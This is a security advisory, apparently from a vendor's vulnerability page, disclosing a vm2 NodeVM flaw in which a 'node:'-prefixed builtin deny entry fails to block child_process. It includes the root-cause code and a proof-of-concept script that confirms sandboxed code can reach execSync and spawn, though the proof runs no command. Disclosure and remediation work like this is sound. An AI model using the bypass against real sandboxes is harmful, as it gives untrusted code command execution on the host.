Summary
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').
Affected Files / Functions
lib/builtin.jsmakeBuiltinsFromLegacyOptions- wildcard builtin expansion
- exact negative entry check:
builtins.indexOf(\-${name}`)` addDefaultBuiltin
lib/resolver.jsResolver.resolve
lib/setup-node-sandbox.jsrequireImplnode:prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
if (localStringPrototypeStartsWith(filename, 'node:')) {
id = localStringPrototypeSlice(filename, 5);
let nmod = cacheBuiltins[id];
if (!nmod) {
nmod = loadBuiltinModule(id);
if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
cacheBuiltins[id] = nmod;
}
return nmod;
}
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host
child_processbuiltin - sandbox -> host process-spawning function references
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
'use strict';
const { NodeVM } = require('./');
function probe(builtin) {
const vm = new NodeVM({
require: {
builtin
}
});
return vm.run(`
const out = {};
for (const spec of ['child_process', 'node:child_process']) {
try {
const cp = require(spec);
out[spec] = {
loaded: true,
execSyncType: typeof cp.execSync,
spawnType: typeof cp.spawn,
moduleToStringTag: Object.prototype.toString.call(cp)
};
} catch (e) {
out[spec] = {
loaded: false,
name: e && e.name,
code: e && e.code,
message: e && e.message
};
}
}
module.exports = out;
`);
}
console.log(JSON.stringify({
nodeVersion: process.version,
denyNodePrefixed: probe(['*', '-node:child_process']),
denyCanonical: probe(['*', '-child_process'])
}, null, 2));
Observed result:
{
"nodeVersion": "v24.14.0",
"denyNodePrefixed": {
"child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
},
"node:child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
}
},
"denyCanonical": {
"child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'child_process'"
},
"node:child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'node:child_process'"
}
}
}
Expected Secure Behavior
-node:child_process and -child_process should be equivalent.
If either spelling is denied, both of these should fail:
require('child_process')
require('node:child_process')
Impact
Confirmed impact:
require('child_process')succeeds inside the sandbox.require('node:child_process')succeeds inside the sandbox.- The returned module exposes
execSyncandspawnas functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access. Typical impact: privilege escalation beyond the intended level.
CVE-2026-92957 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Canonicalize builtin names before allow/deny comparison:
- Strip
node:from user-provided builtin entries. - Preserve whether an entry is negative (
-...) before canonicalizing. - Store and compare one canonical builtin key.
- Strip
Apply the same normalization to:
- wildcard negative entries
- explicit allowlist entries
- object-form builtin entries
- mock/override keys if they are intended to support
node:spelling
Add regression tests:
builtin: ['*', '-node:child_process']blockschild_process.builtin: ['*', '-node:child_process']blocksnode:child_process.builtin: ['*', '-node:fs']blocksfsandnode:fs.builtin: ['*', '-node:fs/promises']and-fs/promisesbehave consistently.- Canonical dangerous builtins remain denied even if explicitly requested with
node:spelling.
Frequently Asked Questions
- What is CVE-2026-92957? CVE-2026-92957 is a critical-severity improper privilege management vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7. The application assigns, modifies, tracks, or checks privileges incorrectly, allowing a user to gain elevated access.
- How severe is CVE-2026-92957? CVE-2026-92957 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vm2 are affected by CVE-2026-92957? vm2 (npm) versions <= 3.11.6 is affected.
- Is there a fix for CVE-2026-92957? Yes. CVE-2026-92957 is fixed in 3.11.7. Upgrade to this version or later.
- Is CVE-2026-92957 exploitable, and should I be worried? Whether CVE-2026-92957 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-92957 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-92957? Upgrade
vm2to 3.11.7 or later.